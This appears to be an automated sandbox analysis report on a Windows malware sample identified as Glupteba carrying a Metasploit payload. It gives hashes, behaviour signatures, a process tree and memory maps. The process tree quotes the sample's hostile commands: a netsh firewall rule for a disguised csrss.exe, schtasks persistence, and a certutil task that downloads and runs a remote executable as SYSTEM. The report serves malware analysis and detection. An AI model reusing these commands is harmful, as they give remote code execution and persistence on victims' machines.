Analysis

  • max time kernel
    128s
  • max time network
    93s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220718-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220718-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-07-2022 19:32

General

  • Target

    4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe

  • Size

    3.8MB

  • MD5

    827759386f54f0b296fc04902e9da469

  • SHA1

    dd96acff5064c40e1b5b95d072d844723566703c

  • SHA256

    4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6

  • SHA512

    d6c61c99a95e68505e13ff596914c99c7297e05bc45ee4e59a06272c037fcd80c2094e3ed0772e60bcc0428d4e4b71340e48b1091cd2aadea376cc7e93f3bc8e

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 8 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
    "C:\Users\Admin\AppData\Local\Temp\4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2044
    • C:\Users\Admin\AppData\Local\Temp\4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
      "C:\Users\Admin\AppData\Local\Temp\4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe"
      2⤵
      • Adds Run key to start application
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1284
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2924
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:4596
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4336
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:3760
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:3084
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:2656
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1376
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4584

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • C:\Windows\rss\csrss.exe

    Filesize

    3.8MB

    MD5

    827759386f54f0b296fc04902e9da469

    SHA1

    dd96acff5064c40e1b5b95d072d844723566703c

    SHA256

    4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6

    SHA512

    d6c61c99a95e68505e13ff596914c99c7297e05bc45ee4e59a06272c037fcd80c2094e3ed0772e60bcc0428d4e4b71340e48b1091cd2aadea376cc7e93f3bc8e

  • C:\Windows\rss\csrss.exe

    Filesize

    3.8MB

    MD5

    827759386f54f0b296fc04902e9da469

    SHA1

    dd96acff5064c40e1b5b95d072d844723566703c

    SHA256

    4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6

    SHA512

    d6c61c99a95e68505e13ff596914c99c7297e05bc45ee4e59a06272c037fcd80c2094e3ed0772e60bcc0428d4e4b71340e48b1091cd2aadea376cc7e93f3bc8e

  • memory/1284-133-0x0000000000000000-mapping.dmp

  • memory/1284-137-0x0000000001180000-0x0000000001528000-memory.dmp

    Filesize

    3.7MB

  • memory/1284-138-0x0000000000400000-0x0000000000C50000-memory.dmp

    Filesize

    8.3MB

  • memory/1284-142-0x0000000000400000-0x0000000000C50000-memory.dmp

    Filesize

    8.3MB

  • memory/1376-150-0x0000000000000000-mapping.dmp

  • memory/2044-134-0x0000000000400000-0x0000000000C50000-memory.dmp

    Filesize

    8.3MB

  • memory/2044-130-0x0000000001358000-0x0000000001700000-memory.dmp

    Filesize

    3.7MB

  • memory/2044-132-0x0000000000400000-0x0000000000C50000-memory.dmp

    Filesize

    8.3MB

  • memory/2044-131-0x0000000001710000-0x0000000001F14000-memory.dmp

    Filesize

    8.0MB

  • memory/2656-148-0x0000000000000000-mapping.dmp

  • memory/2924-135-0x0000000000000000-mapping.dmp

  • memory/3084-146-0x0000000000000000-mapping.dmp

  • memory/3760-145-0x0000000000000000-mapping.dmp

  • memory/4336-144-0x0000000001A00000-0x0000000002204000-memory.dmp

    Filesize

    8.0MB

  • memory/4336-147-0x0000000000400000-0x0000000000C50000-memory.dmp

    Filesize

    8.3MB

  • memory/4336-143-0x0000000001600000-0x00000000019A8000-memory.dmp

    Filesize

    3.7MB

  • memory/4336-139-0x0000000000000000-mapping.dmp

  • memory/4336-151-0x0000000000400000-0x0000000000C50000-memory.dmp

    Filesize

    8.3MB

  • memory/4596-136-0x0000000000000000-mapping.dmp